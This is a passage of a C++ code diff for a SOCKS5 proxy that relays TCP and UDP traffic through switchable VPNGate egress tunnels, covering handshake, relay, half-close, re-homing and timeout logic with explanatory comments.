auto buf = std::make_shared<std::vector<uint8_t>>(encode_userpass_reply(ok));
asio::async_write(client_, asio::buffer(*buf),
[self, buf, ok](const std::error_code &ec, size_t) {
if (self->closed_) return;
// RFC 1929 §2: on failure the server MUST close.
if (ec || !ok) {
self->finish(ok ? "auth reply write failed"
: "authentication failed");
return;
}
self->authed_ = true;
self->set_state(SessionState::Request);
self->step_request();
});
}
void Session::step_request() {
Request req;
const Decode d = decode_request(up_buf_.data(), hs_len_, &req);
if (d.status == Status::Bad) {
m_handshake_failed()->inc();
// Best effort: the client may not even be speaking SOCKS5, but a reply
// costs one small write and tells a well-behaved one what went wrong.
reply_and_close(Reply::GeneralFailure, "malformed request");
return;
}
if (d.status == Status::NeedMore) {
auto self = shared_from_this();
read_more([self] { self->step_request(); });
return;
}
std::memmove(up_buf_.data(), up_buf_.data() + d.used, hs_len_ - d.used);
hs_len_ -= d.used;
dispatch(req);
}
void Session::dispatch(const Request &req) {
{
std::lock_guard<std::mutex> lk(mu_);
target_ = req.target;
target_str_ = req.target.to_string();
command_str_ = command_name(req.command);
}
switch (req.command) {
case Command::Connect:
LOG_DEBUG(kMod, "[{}] CONNECT {} via {}", id_, req.target.to_string(),
egress_->label());
do_connect(req.target);
return;
case Command::UdpAssociate:
if (!opts_->socks5.udp_associate_enabled) {
reply_and_close(Reply::CommandNotSupported, "UDP ASSOCIATE disabled");
return;
}
do_udp_associate(req.target);
return;
case Command::Bind:
// docs/FEASIBILITY.md §5.4: a VPNGate exit is behind NAT and cannot
// receive an inbound connection, so BIND could not work even if it were
// implemented. Saying so immediately beats a timeout.
reply_and_close(Reply::CommandNotSupported, "BIND is not supported");
return;
}
reply_and_close(Reply::CommandNotSupported, "unknown command");
}
void Session::reply_and_close(Reply rep, const char *why) {
auto self = shared_from_this();
send_reply(rep, Endpoint(), [self, why] { self->finish(why); });
}
void Session::send_reply(Reply rep, const Endpoint &bound,
std::function<void()> then) {
if (closed_) return;
auto buf = std::make_shared<std::vector<uint8_t>>(encode_reply(rep, bound));
auto self = shared_from_this();
asio::async_write(client_, asio::buffer(*buf),
[self, buf, then = std::move(then)](
const std::error_code &ec, size_t) {
if (self->closed_) return;
if (ec) {
self->finish("reply write failed");
return;
}
then();
});
}
// ---------------------------------------------------------------------------
// CONNECT
// ---------------------------------------------------------------------------
void Session::do_connect(const Endpoint &target) {
set_state(SessionState::Connecting);
set_phase(Phase::Connect);
auto self = shared_from_this();
const uint64_t gen = gen_;
egress_->async_connect_tcp(
strand_, target, opts_->socks5.connect_timeout,
[self, gen](const std::error_code &ec, netstack::TcpStreamPtr stream) {
if (self->closed_ || gen != self->gen_) {
if (stream) stream->close();
return;
}
if (ec) {
m_connect_failed()->inc();
LOG_INFO(kMod, "[{}] CONNECT {} failed: {}", self->id_,
self->target_str_, ec.message());
self->reply_and_close(reply_for(ec), "connect failed");
return;
}
self->remote_ = std::move(stream);
// BND is the address the egress dialled from, which is what RFC 1928
// asks for and what a client behind us would use for a subsequent
// BIND -- informational here, but wrong information is worse than
// none.
self->send_reply(Reply::Succeeded, self->remote_->local_endpoint(),
[self] { self->begin_relay(); });
});
}
void Session::begin_relay() {
set_state(SessionState::Established);
set_phase(Phase::Idle);
// The client may already have pipelined request bytes into the handshake
// buffer while waiting for our reply. Those belong to the stream and must go
// out before anything read later.
if (hs_len_ > 0) {
const size_t n = hs_len_;
hs_len_ = 0;
start_up_write(n);
} else {
start_up_read();
}
start_down_read();
}
void Session::start_up_read() {
if (closed_ || up_done_) return;
auto self = shared_from_this();
const uint64_t gen = gen_;
++active_;
client_.async_read_some(
asio::buffer(up_buf_), [self, gen](const std::error_code &ec, size_t n) {
--self->active_;
if (gen != self->gen_) {
// A rehome overtook this read. Keep the bytes: the new stream has
// seen nothing, so replaying them is exactly right.
if (!ec && n > 0) self->up_pending_ = n;
self->rehome_ready();
return;
}
if (self->closed_) return;
if (ec) {
if (ec == asio::error::eof) {
self->half_close_up();
} else {
self->finish("client read failed");
}
return;
}
self->touch();
self->start_up_write(n);
});
}
void Session::start_up_write(size_t n) {
if (closed_ || !remote_) return;
auto self = shared_from_this();
const uint64_t gen = gen_;
up_writing_ = true;
++active_;
remote_->async_write(
asio::buffer(up_buf_.data(), n),
[self, gen, n](const std::error_code &ec, size_t) {
--self->active_;
self->up_writing_ = false;
if (gen != self->gen_) {
self->rehome_ready();
return;
}
if (self->closed_) return;
if (ec) {
self->finish("egress write failed");
return;
}
self->up_bytes_.fetch_add(n, std::memory_order_relaxed);
m_bytes_up()->inc(n);
self->touch();
self->start_up_read();
});
}
void Session::start_down_read() {
if (closed_ || down_done_ || !remote_) return;
auto self = shared_from_this();
const uint64_t gen = gen_;
++active_;
remote_->async_read_some(
asio::buffer(down_buf_), [self, gen](const std::error_code &ec, size_t n) {
--self->active_;
if (gen != self->gen_) {
// Data arrived from the old stream after we decided it was idle.
// The stream is already closed, so forwarding it is impossible and
// pretending it never happened would silently truncate.
if (!ec && n > 0) self->rehome_abort_ = true;
self->rehome_ready();
return;
}
if (self->closed_) return;
if (ec) {
if (ec == asio::error::eof) {
self->half_close_down();
} else {
self->finish("egress read failed");
}
return;
}
self->touch();
self->start_down_write(n);
});
}
void Session::start_down_write(size_t n) {
if (closed_) return;
auto self = shared_from_this();
const uint64_t gen = gen_;
down_writing_ = true;
++active_;
asio::async_write(client_, asio::buffer(down_buf_.data(), n),
[self, gen, n](const std::error_code &ec, size_t) {
--self->active_;
self->down_writing_ = false;
if (gen != self->gen_) {
self->rehome_ready();
return;
}
if (self->closed_) return;
if (ec) {
self->finish("client write failed");
return;
}
self->down_bytes_.fetch_add(n, std::memory_order_relaxed);
m_bytes_down()->inc(n);
self->touch();
self->start_down_read();
});
}
void Session::half_close_up() {
up_done_ = true;
if (remote_) remote_->shutdown_send();
maybe_finish();
}
void Session::half_close_down() {
down_done_ = true;
std::error_code ignored;
client_.shutdown(asio::ip::tcp::socket::shutdown_send, ignored);
maybe_finish();
}
void Session::maybe_finish() {
if (up_done_ && down_done_) finish("both directions closed");
}
// ---------------------------------------------------------------------------
// UDP ASSOCIATE
// ---------------------------------------------------------------------------
void Session::do_udp_associate(const Endpoint &expect) {
std::error_code ec;
const auto local = client_.local_endpoint(ec);
const auto peer = client_.remote_endpoint(ec);
if (ec) {
reply_and_close(Reply::GeneralFailure, "control connection has no address");
return;
}
assoc_ = UdpAssociation::create(strand_, opts_->socks5, egress_);
auto self = shared_from_this();
const uint64_t gen = gen_;
assoc_->async_open(
local.address(), peer.address(), expect,
[self, gen](const std::error_code &oec) {
if (self->closed_ || gen != self->gen_) return;
if (oec) {
self->assoc_.reset();
self->reply_and_close(reply_for(oec), "udp associate failed");
return;
}
m_udp_assoc()->inc();
g_udp_active()->add(1);
LOG_INFO(kMod, "[{}] UDP ASSOCIATE ready, advertising {}", self->id_,
self->assoc_->advertised().to_string());
self->send_reply(Reply::Succeeded, self->assoc_->advertised(),
[self] {
self->set_state(SessionState::Udp);
self->set_phase(Phase::Idle);
self->park_control_connection();
});
});
}
// RFC 1928 §7 ties the association's lifetime to this TCP connection. Nothing
// more is expected to arrive on it, so the read exists purely to notice the
// close -- and to consume anything a confused client sends rather than letting
// it fill a receive buffer.
void Session::park_control_connection() {
if (closed_) return;
auto self = shared_from_this();
client_.async_read_some(asio::buffer(up_buf_),
[self](const std::error_code &ec, size_t) {
if (self->closed_) return;
if (ec) {
self->finish("udp control connection closed");
return;
}
self->park_control_connection();
});
}
// ---------------------------------------------------------------------------
// Re-homing (ARCHITECTURE §5.3 / §5.4)
// ---------------------------------------------------------------------------
void Session::try_rehome(const egress::EgressPtr &from,
const egress::EgressPtr &fresh) {
auto self = shared_from_this();
asio::post(strand_, [self, from, fresh] {
if (self->closed_ || self->egress_ != from || !fresh) return;
self->do_rehome(fresh);
});
}
void Session::close_if_on(const egress::EgressPtr &which, const char *why) {
auto self = shared_from_this();
asio::post(strand_, [self, which, why] {
if (self->closed_ || self->egress_ != which) return;
self->finish(why);
});
}
void Session::do_rehome(egress::EgressPtr fresh) {
if (rehoming_) return;
if (state_.load(std::memory_order_relaxed) == SessionState::Udp) {
if (!opts_->rehome_udp || !assoc_) return;
egress_ = fresh;
{
std::lock_guard<std::mutex> lk(mu_);
egress_label_ = egress_->label();
}
assoc_->rehome(egress_);
return;
}
if (!opts_->retry_zero_progress) return;
if (state_.load(std::memory_order_relaxed) != SessionState::Established ||
!remote_) {
return;
}
// Mid-write means bytes are already committed to the old stream.
if (up_writing_ || down_writing_) return;
if (up_done_ || down_done_) return;
// The stream itself is the source of truth for "has anything happened here",
// which is exactly why TcpStream exposes these counters.
if (remote_->bytes_written() != 0 || remote_->bytes_read() != 0) return;
rehoming_ = true;
rehome_abort_ = false;
up_pending_ = 0;
++gen_; // everything outstanding is now stale
new_egress_ = std::move(fresh);
auto old = std::move(remote_);
if (old) old->close(); // fails the pending down read with Cancelled
std::error_code ignored;
client_.cancel(ignored); // fails the pending up read
rehome_ready(); // in case nothing was outstanding
}
void Session::rehome_ready() {
if (!rehoming_ || active_ != 0) return;
if (closed_) return;
if (rehome_abort_) {
m_rehome_failed()->inc();
rehoming_ = false;
finish("inbound data raced the rehome");
return;
}
rehome_connect();
}
void Session::rehome_connect() {
egress_ = std::move(new_egress_);
{
std::lock_guard<std::mutex> lk(mu_);
egress_label_ = egress_->label();
}
set_phase(Phase::Connect);
auto self = shared_from_this();
const uint64_t gen = gen_;
Endpoint target;
{
std::lock_guard<std::mutex> lk(mu_);
target = target_;
}
egress_->async_connect_tcp(
strand_, target, opts_->socks5.connect_timeout,
[self, gen](const std::error_code &ec, netstack::TcpStreamPtr stream) {
if (self->closed_ || gen != self->gen_) {
if (stream) stream->close();
return;
}
if (ec) {
m_rehome_failed()->inc();
self->rehoming_ = false;
// The old stream is gone; there is nothing to fall back to. This is
// the "if you cannot keep it, drop it" case, scoped to one session.
self->finish("rehome could not reconnect");
return;
}
self->remote_ = std::move(stream);
self->rehoming_ = false;
self->set_phase(Phase::Idle);
m_rehomed()->inc();
LOG_INFO(kMod, "[{}] rehomed {} onto {}", self->id_, self->target_str_,
self->egress_->label());
if (self->up_pending_ > 0) {
const size_t n = self->up_pending_;
self->up_pending_ = 0;
self->start_up_write(n);
} else {
self->start_up_read();
}
self->start_down_read();
});
}
// ---------------------------------------------------------------------------
// Timers and teardown
// ---------------------------------------------------------------------------
void Session::set_phase(Phase p) {
phase_ = p;
switch (p) {
case Phase::Handshake:
deadline_ = Clock::now() + opts_->socks5.handshake_timeout;
break;
case Phase::Connect:
deadline_ = Clock::now() + opts_->socks5.connect_timeout;
break;
case Phase::Idle:
touch();
break;
}
}
void Session::touch() {
// Deliberately does not reschedule the timer. See the header comment: at a
// thousand sessions, one timer update per relayed buffer would cost more than
// the relay.
deadline_ = Clock::now() + (state_.load(std::memory_order_relaxed) ==
SessionState::Udp
? opts_->socks5.udp_idle_timeout
: opts_->socks5.idle_timeout);
}
void Session::arm_timer() {
if (closed_) return;
auto self = shared_from_this();
timer_.expires_at(deadline_);
timer_.async_wait([self](const std::error_code &ec) {
if (self->closed_) return;
if (ec == asio::error::operation_aborted) return;
self->on_timer();
});
}
void Session::on_timer() {
// A UDP association's activity lives in the association, not here.
if (state_.load(std::memory_order_relaxed) == SessionState::Udp && assoc_) {
const auto idle_at =
assoc_->last_activity() + opts_->socks5.udp_idle_timeout;
if (idle_at > deadline_) deadline_ = idle_at;
}
if (Clock::now() < deadline_) {
arm_timer(); // the deadline moved under us; wait for the new one
return;
}
switch (phase_) {
case Phase::Handshake:
m_timeout_handshake()->inc();
m_handshake_failed()->inc();
finish("handshake timeout");
return;
case Phase::Connect:
m_timeout_connect()->inc();
finish("connect timeout");
return;
case Phase::Idle:
m_timeout_idle()->inc();
finish("idle timeout");
return;
}
}
void Session::force_close(const char *why) {
auto self = shared_from_this();
asio::post(strand_, [self, why] { self->finish(why); });
}
void Session::finish(const char *why) {
if (closed_) return;
closed_ = true;
++gen_;
const bool was_udp = state_.load(std::memory_order_relaxed) ==
SessionState::Udp;
set_state(SessionState::Closed);
std::error_code ignored;
timer_.cancel();
client_.close(ignored);
if (remote_) {
remote_->close();
remote_.reset();
}
if (assoc_) {
assoc_->close();
assoc_.reset();
if (was_udp) g_udp_active()->sub(1);
}
// Released here rather than at destruction: the drain in EgressManager keys
// off the reference count, so holding it until some later handler drops the
// last shared_ptr to us would stretch every switch.
egress_.reset();
new_egress_.reset();
LOG_DEBUG(kMod, "[{}] closed ({}), up={} down={}", id_, why,
up_bytes_.load(std::memory_order_relaxed),
down_bytes_.load(std::memory_order_relaxed));
if (on_closed_) {
auto h = std::move(on_closed_);
h(id_);
}
}
void Session::set_state(SessionState s) {
state_.store(s, std::memory_order_relaxed);
}
Session::Info Session::info() const {
Info i;
i.id = id_;
std::lock_guard<std::mutex> lk(mu_);
i.client = client_str_;
i.target = target_str_;
i.command = command_str_;
i.state = session_state_name(state_.load(std::memory_order_relaxed));
i.egress_label = egress_label_;
i.bytes_up = up_bytes_.load(std::memory_order_relaxed);
i.bytes_down = down_bytes_.load(std::memory_order_relaxed);
i.age_ms = std::chrono::duration_cast<Millis>(Clock::now() - created_).count();
return i;
}
} // namespace ovg::socks5
+232
View File
@@ -0,0 +1,232 @@
// One SOCKS5 client connection, from greeting to teardown.
//
// ---------------------------------------------------------------------------
// No thread per connection
// ---------------------------------------------------------------------------
// The requirement was ~1000 concurrent connections without a thread each. A
// Session owns no thread; it owns a strand over the shared io_context. N
// sessions on 4 io threads each still see a single-threaded world, because
// every callback that touches this object is dispatched on that strand. The
// per-session cost is two relay buffers, a socket, a timer, and this object --
// tens of kilobytes, not a megabyte of stack.
//
// ---------------------------------------------------------------------------
// Half-close, which is where proxies usually get it wrong
// ---------------------------------------------------------------------------
// The two directions are independent. A client that finished sending its
// request and shut down its write side is *not* done: it is waiting for the
// response. Closing the whole session on the first EOF truncates that response,
// and it is the single most common proxy bug. So:
//
// client EOF -> remote->shutdown_send(), keep reading from remote
// remote EOF -> client.shutdown(send), keep reading from client
// both -> close
//
// ---------------------------------------------------------------------------
// Three timers, one steady_timer
// ---------------------------------------------------------------------------
// Handshake, connect, and idle are independent deadlines but never overlap, so
// they share one timer and a `deadline_` field. Refreshing activity moves the
// field and does *not* touch the timer -- at a thousand sessions moving a
// timer per datagram would cost more than the relay does. The timer wakes at
// the old deadline, notices it moved, and re-arms.
//
// ---------------------------------------------------------------------------
// Its egress, and how it can change
// ---------------------------------------------------------------------------
// A session holds an EgressPtr for its whole life. That reference is what makes
// draining work without a session table (egress/egress.h), and it means a
// session's bytes cannot be split across two tunnels mid-stream.
//
// There are exactly two exceptions, both from docs/ARCHITECTURE.md §5.3-5.4:
//
// * A TCP session that has moved zero bytes through its stream is carrying no
// stream state, so it can be re-dialled on the new egress and the client
// never learns. `try_rehome` does this.
// * A UDP association has no sequence state at all, so only the egress-side
// socket is replaced. See socks5/udp_relay.h.
//
// Anything else stays where it is and drains, and is force-closed if the grace
// window expires. That is the honest answer to "keep existing connections if
// possible, otherwise drop them".
#pragma once
#include <asio.hpp>
#include <atomic>
#include <chrono>
#include <cstdint>
#include <functional>
#include <memory>
#include <mutex>
#include <string>
#include <vector>
#include "common/config.h"
#include "common/endpoint.h"
#include "common/strand_deleter.h"
#include "egress/egress.h"
#include "socks5/auth.h"
#include "socks5/protocol.h"
#include "socks5/udp_relay.h"
namespace ovg::socks5 {
// The slice of configuration a session needs. Shared by pointer so that a
// thousand sessions do not each copy the credential list and the switch policy.
struct SessionOptions {
Socks5Config socks5;
bool retry_zero_progress = true; // SwitchConfig::retry_zero_progress
bool rehome_udp = true; // SwitchConfig::rehome_udp
};
using SessionOptionsPtr = std::shared_ptr<const SessionOptions>;
// The client socket is bound to a Strand *as its type*, not merely handed one
// per operation. Accepting straight into `asio::make_strand(io)` means every
// completion on it is already serialised, so nothing in the relay needs
// bind_executor and no call site can forget to.
using ClientSocket = asio::basic_stream_socket<asio::ip::tcp, Strand>;
enum class SessionState {
Handshake, // greeting / method selection
Auth, // RFC 1929 exchange
Request, // waiting for the CONNECT/BIND/UDP request
Connecting, // dialling through the egress
Established, // TCP relay running
Udp, // UDP association live, control connection parked
Closed,
};
const char *session_state_name(SessionState s);
class Session : public std::enable_shared_from_this<Session> {
public:
using CloseHandler = std::function<void(uint64_t)>;
static std::shared_ptr<Session> create(uint64_t id, ClientSocket sock,
SessionOptionsPtr opts,
const Authenticator *auth,
egress::EgressPtr egress,
CloseHandler on_closed);
~Session();
void start();
// Safe from any thread. `why` must be a string literal: it is captured by
// pointer and logged after the post.
void force_close(const char *why);
// Offers a move onto `fresh`, but only if this session is still on `from` and
// is genuinely re-homeable. Safe from any thread; does nothing if not
// eligible. See the header comment.
void try_rehome(const egress::EgressPtr &from, const egress::EgressPtr &fresh);
// Closes only if this session is still using `which`. This is the "otherwise
// drop them" half of the requirement, used when a drain window expires.
// Safe from any thread.
void close_if_on(const egress::EgressPtr &which, const char *why);
// Snapshot for the admin endpoint. Safe from any thread.
struct Info {
uint64_t id = 0;
std::string client;
std::string target;
std::string command;
std::string state;
std::string egress_label;
uint64_t bytes_up = 0;
uint64_t bytes_down = 0;
int64_t age_ms = 0;
};
Info info() const;
uint64_t id() const { return id_; }
private:
enum class Phase { Handshake, Connect, Idle };
Session(uint64_t id, ClientSocket sock, SessionOptionsPtr opts,
const Authenticator *auth, egress::EgressPtr egress,
CloseHandler on_closed);
// --- handshake ---
void read_more(std::function<void()> retry);
void step_greeting();
void step_userpass();
void step_request();
void dispatch(const Request &req);
void reply_and_close(Reply rep, const char *why);
void send_reply(Reply rep, const Endpoint &bound, std::function<void()> then);
// --- connect / relay ---
void do_connect(const Endpoint &target);
void begin_relay();
void start_up_read();
void start_up_write(size_t n);
void start_down_read();
void start_down_write(size_t n);
void half_close_up();
void half_close_down();
void maybe_finish();
// --- udp ---
void do_udp_associate(const Endpoint &expect);
void park_control_connection();
// --- rehome ---
void do_rehome(egress::EgressPtr fresh);
void rehome_ready();
void rehome_connect();
// --- timers / teardown ---
void set_phase(Phase p);
void touch();
void arm_timer();
void on_timer();
void finish(const char *why);
void set_state(SessionState s);
const uint64_t id_;
ClientSocket client_;
Strand strand_;
asio::steady_timer timer_;
SessionOptionsPtr opts_;
const Authenticator *auth_;
CloseHandler on_closed_;
// Strand-only state.
egress::EgressPtr egress_;
egress::EgressPtr new_egress_;
netstack::TcpStreamPtr remote_;
UdpAssociationPtr assoc_;
std::vector<uint8_t> up_buf_, down_buf_;
size_t hs_len_ = 0; // valid bytes at the front of up_buf_ during handshake
bool authed_ = false;
bool up_done_ = false, down_done_ = false;
bool up_writing_ = false, down_writing_ = false;
bool closed_ = false;
bool rehoming_ = false, rehome_abort_ = false;
size_t up_pending_ = 0; // bytes read from the client during a rehome
int active_ = 0; // outstanding relay operations
uint64_t gen_ = 0; // invalidates callbacks across a rehome
Phase phase_ = Phase::Handshake;
Clock::time_point deadline_{};
// Snapshot state, read by info() from other threads. The state itself is an
// atomic rather than mutex-guarded because the strand reads it on every
// relayed buffer (touch(), on_timer()) and taking a lock there would put a
// contended mutex on the hot path for the benefit of one admin endpoint.
std::atomic<SessionState> state_{SessionState::Handshake};
mutable std::mutex mu_;
std::string client_str_;
std::string target_str_;
std::string command_str_ = "-";
std::string egress_label_;
std::atomic<uint64_t> up_bytes_{0}, down_bytes_{0};
const Clock::time_point created_;
Endpoint target_;
};
using SessionPtr = std::shared_ptr<Session>;
} // namespace ovg::socks5
+436
View File
@@ -0,0 +1,436 @@
#include "socks5/udp_relay.h"
#include "common/error.h"
#include "common/logging.h"
#include "common/metrics.h"
#include "socks5/protocol.h"
namespace ovg::socks5 {
namespace {
constexpr const char *kMod = "socks5.udp";
// A datagram socket that cannot keep up drops, it does not grow. These bound
// the memory a single association can pin while a send is in flight.
constexpr size_t kMaxQueuedDatagrams = 64;
constexpr size_t kMaxDatagram = 65535;
// Per-association resolver limits. A client that sends to a thousand distinct
// names should not get a thousand outstanding lookups.
constexpr size_t kMaxResolvingNames = 8;
constexpr size_t kMaxQueuedPerName = 4;
constexpr size_t kMaxResolvedCache = 64;
metrics::Counter *m_frag() {
static auto *c = metrics::counter(
"ovg_socks5_udp_frag_dropped_total",
"UDP datagrams dropped because FRAG != 0 (not supported)");
return c;
}
metrics::Counter *m_bad() {
static auto *c = metrics::counter("ovg_socks5_udp_malformed_total",
"UDP datagrams with an unparsable header");
return c;
}
metrics::Counter *m_spoof() {
static auto *c = metrics::counter(
"ovg_socks5_udp_unexpected_source_total",
"UDP datagrams from an address that is not the associated client");
return c;
}
metrics::Counter *m_overflow() {
static auto *c = metrics::counter("ovg_socks5_udp_queue_dropped_total",
"UDP datagrams dropped by a full send queue");
return c;
}
metrics::Counter *m_up() {
static auto *c = metrics::counter("ovg_socks5_udp_bytes_up_total",
"UDP payload bytes client -> egress");
return c;
}
metrics::Counter *m_down() {
static auto *c = metrics::counter("ovg_socks5_udp_bytes_down_total",
"UDP payload bytes egress -> client");
return c;
}
metrics::Counter *m_rehome() {
static auto *c =
metrics::counter("ovg_socks5_udp_rehomed_total",
"UDP associations moved to a new egress in place");
return c;
}
Endpoint to_endpoint(const asio::ip::udp::endpoint &ep) {
if (ep.address().is_v4()) {
const auto b = ep.address().to_v4().to_bytes();
return Endpoint(IpAddress::from_bytes_v4(b.data()), ep.port());
}
const auto b = ep.address().to_v6().to_bytes();
return Endpoint(IpAddress::from_bytes_v6(b.data()), ep.port());
}
} // namespace
std::shared_ptr<UdpAssociation> UdpAssociation::create(
Strand strand, const Socks5Config &cfg, egress::EgressPtr egress) {
return std::shared_ptr<UdpAssociation>(
new UdpAssociation(strand, cfg, std::move(egress)));
}
UdpAssociation::UdpAssociation(Strand strand, const Socks5Config &cfg,
egress::EgressPtr egress)
: strand_(strand),
cfg_(cfg),
egress_(std::move(egress)),
client_sock_(strand),
client_buf_(kMaxDatagram),
out_buf_(kMaxDatagram),
last_activity_(Clock::now()) {}
UdpAssociation::~UdpAssociation() { close(); }
void UdpAssociation::async_open(const asio::ip::address &bind_addr,
const asio::ip::address &client_addr,
const Endpoint &expect, ReadyHandler h) {
client_addr_ = client_addr;
if (!expect.is_domain() && expect.address().valid() && expect.port() != 0) {
expect_port_ = expect.port();
}
std::error_code ec;
client_sock_.open(bind_addr.is_v4() ? asio::ip::udp::v4() : asio::ip::udp::v6(),
ec);
if (!ec) client_sock_.bind(asio::ip::udp::endpoint(bind_addr, 0), ec);
if (ec) {
LOG_WARN(kMod, "cannot bind client-facing UDP socket on {}: {}",
bind_addr.to_string(), ec.message());
h(ec);
return;
}
const auto local = client_sock_.local_endpoint(ec);
if (ec) {
h(ec);
return;
}
// The address we bound is not necessarily the address the client can reach
// (NAT, containers, 0.0.0.0). An operator override wins; otherwise the bound
// address is the best guess we have.
advertised_ = to_endpoint(local);
if (!cfg_.advertise_address.empty()) {
if (auto ip = IpAddress::parse(cfg_.advertise_address)) {
advertised_ = Endpoint(*ip, local.port());
} else {
advertised_ = Endpoint(cfg_.advertise_address, local.port());
}
}
auto self = shared_from_this();
const uint64_t gen = gen_;
egress_->async_bind_udp(
strand_, [self, gen, h = std::move(h)](const std::error_code &bec,
netstack::UdpSocketPtr sock) {
if (self->closed_ || gen != self->gen_) {
if (sock) sock->close();
return;
}
if (bec) {
LOG_WARN(kMod, "egress refused a UDP socket: {}", bec.message());
h(bec);
return;
}
self->out_ = std::move(sock);
self->start_client_recv();
self->start_out_recv(gen);
h({});
});
}
void UdpAssociation::close() {
if (closed_) return;
closed_ = true;
++gen_;
std::error_code ignored;
client_sock_.close(ignored);
if (out_) {
out_->close();
out_.reset();
}
to_out_.clear();
to_client_.clear();
resolving_.clear();
}
void UdpAssociation::rehome(egress::EgressPtr fresh) {
if (closed_ || !fresh) return;
if (fresh == egress_) return;
// Bump first: every in-flight callback from the old socket is now stale and
// will drop itself instead of touching the new one.
const uint64_t gen = ++gen_;
if (out_) {
out_->close();
out_.reset();
}
out_sending_ = false;
to_out_.clear(); // datagrams queued for a socket that no longer exists
egress_ = std::move(fresh);
auto self = shared_from_this();
egress_->async_bind_udp(
strand_, [self, gen](const std::error_code &ec,
netstack::UdpSocketPtr sock) {
if (self->closed_ || gen != self->gen_) {
if (sock) sock->close();
return;
}
if (ec) {
// Nothing to fall back to: the old socket is already gone. The
// association stops carrying traffic and the idle timer reaps it.
LOG_WARN(kMod, "rehome failed, association is now dead: {}",
ec.message());
self->close();
return;
}
self->out_ = std::move(sock);
// Addresses resolved through the old tunnel may not be the right
// answers through the new one, and the reverse map would then lie in
// reply headers.
self->resolved_.clear();
self->rev_names_.clear();
self->start_out_recv(gen);
m_rehome()->inc();
LOG_INFO(kMod, "association rehomed onto {}", self->egress_->label());
});
}
// ---------------------------------------------------------------------------
// Client -> egress
// ---------------------------------------------------------------------------
void UdpAssociation::start_client_recv() {
if (closed_) return;
auto self = shared_from_this();
client_sock_.async_receive_from(
asio::buffer(client_buf_), recv_from_,
asio::bind_executor(strand_, [self](const std::error_code &ec, size_t n) {
if (self->closed_) return;
if (ec) {
if (ec != asio::error::operation_aborted) {
LOG_DEBUG(kMod, "client-facing recv failed: {}", ec.message());
}
// A UDP socket can report a transient ICMP-derived error; keep
// listening rather than killing the association over one datagram.
if (ec == asio::error::operation_aborted) return;
self->start_client_recv();
return;
}
self->on_client_datagram(n);
self->start_client_recv();
}));
}
void UdpAssociation::on_client_datagram(size_t n) {
// Anti-spoofing, such as it is: only the host that opened the control
// connection may use this association, and only from one port.
if (recv_from_.address() != client_addr_) {
m_spoof()->inc();
return;
}
if (client_latched_) {
if (recv_from_ != client_ep_) {
m_spoof()->inc();
return;
}
} else {
if (expect_port_ != 0 && recv_from_.port() != expect_port_) {
m_spoof()->inc();
return;
}
client_ep_ = recv_from_;
client_latched_ = true;
LOG_DEBUG(kMod, "association latched to client {}:{}",
client_ep_.address().to_string(), client_ep_.port());
}
UdpHeader hdr;
if (!decode_udp_header(client_buf_.data(), n, &hdr)) {
m_bad()->inc();
return;
}
if (hdr.frag != 0) {
// Loud on purpose: FEASIBILITY §5.1 promises this is never silent.
m_frag()->inc();
LOG_WARN(kMod, "dropping fragmented datagram (FRAG={}), not supported",
static_cast<int>(hdr.frag));
return;
}
last_activity_ = Clock::now();
const uint8_t *payload = client_buf_.data() + hdr.header_len;
const size_t plen = n - hdr.header_len;
if (hdr.target.is_domain()) {
resolve_and_forward(hdr.target, payload, plen);
return;
}
forward_out(hdr.target, payload, plen);
}
void UdpAssociation::resolve_and_forward(const Endpoint &target,
const uint8_t *data, size_t len) {
const std::string &name = target.domain();
auto cached = resolved_.find(name);
if (cached != resolved_.end()) {
forward_out(Endpoint(cached->second, target.port()), data, len);
return;
}
auto it = resolving_.find(name);
if (it == resolving_.end()) {
if (resolving_.size() >= kMaxResolvingNames) {
m_overflow()->inc();
return;
}
it = resolving_.emplace(name, PendingName{}).first;
}
it->second.port = target.port();
if (it->second.datagrams.size() < kMaxQueuedPerName) {
it->second.datagrams.emplace_back(data, data + len);
} else {
m_overflow()->inc();
}
if (it->second.in_flight) return;
it->second.in_flight = true;
auto self = shared_from_this();
const uint64_t gen = gen_;
egress_->async_resolve(
strand_, name,
[self, gen, name](const std::error_code &ec, std::vector<IpAddress> ips) {
if (self->closed_ || gen != self->gen_) return;
auto it = self->resolving_.find(name);
if (it == self->resolving_.end()) return;
auto pending = std::move(it->second);
self->resolving_.erase(it);
if (ec || ips.empty()) {
LOG_DEBUG(kMod, "udp resolve of {} failed: {}", name,
ec ? ec.message() : std::string("no addresses"));
return; // datagrams are dropped, which is what UDP does
}
if (self->resolved_.size() < kMaxResolvedCache) {
self->resolved_.emplace(name, ips.front());
self->rev_names_.emplace(ips.front().to_string(), name);
}
const Endpoint dst(ips.front(), pending.port);
for (const auto &d : pending.datagrams) {
self->forward_out(dst, d.data(), d.size());
}
});
}
void UdpAssociation::forward_out(const Endpoint &to, const uint8_t *data,
size_t len) {
if (closed_ || !out_) return;
if (to_out_.size() >= kMaxQueuedDatagrams) {
m_overflow()->inc();
return;
}
to_out_.push_back(Pending{std::vector<uint8_t>(data, data + len), to});
pump_out();
}
void UdpAssociation::pump_out() {
if (out_sending_ || to_out_.empty() || !out_ || closed_) return;
out_sending_ = true;
auto self = shared_from_this();
const uint64_t gen = gen_;
const auto &front = to_out_.front();
out_->async_send_to(
asio::buffer(front.data), front.to,
[self, gen](const std::error_code &ec, size_t n) {
if (self->closed_ || gen != self->gen_) return;
self->out_sending_ = false;
if (!self->to_out_.empty()) self->to_out_.pop_front();
if (ec) {
LOG_DEBUG(kMod, "egress send failed: {}", ec.message());
} else {
self->up_bytes_ += n;
m_up()->inc(n);
}
self->pump_out();
});
}
// ---------------------------------------------------------------------------
// Egress -> client
// ---------------------------------------------------------------------------
void UdpAssociation::start_out_recv(uint64_t gen) {
if (closed_ || !out_ || gen != gen_) return;
auto self = shared_from_this();
out_->async_receive_from(
asio::buffer(out_buf_),
[self, gen](const std::error_code &ec, size_t n, const Endpoint &from) {
if (self->closed_ || gen != self->gen_) return;
if (ec) {
if (ec != Error::Cancelled) {
LOG_DEBUG(kMod, "egress recv failed: {}", ec.message());
}
return; // the socket is finished; rehome or close will follow
}
self->on_out_datagram(n, from);
self->start_out_recv(gen);
});
}
void UdpAssociation::on_out_datagram(size_t n, const Endpoint &from) {
if (!client_latched_) return; // nowhere to send it yet
last_activity_ = Clock::now();
queue_to_client(from, out_buf_.data(), n);
}
void UdpAssociation::queue_to_client(const Endpoint &from, const uint8_t *data,
size_t len) {
if (to_client_.size() >= kMaxQueuedDatagrams) {
m_overflow()->inc();
return;
}
// If the client addressed a name, echo the name back. Clients that key their
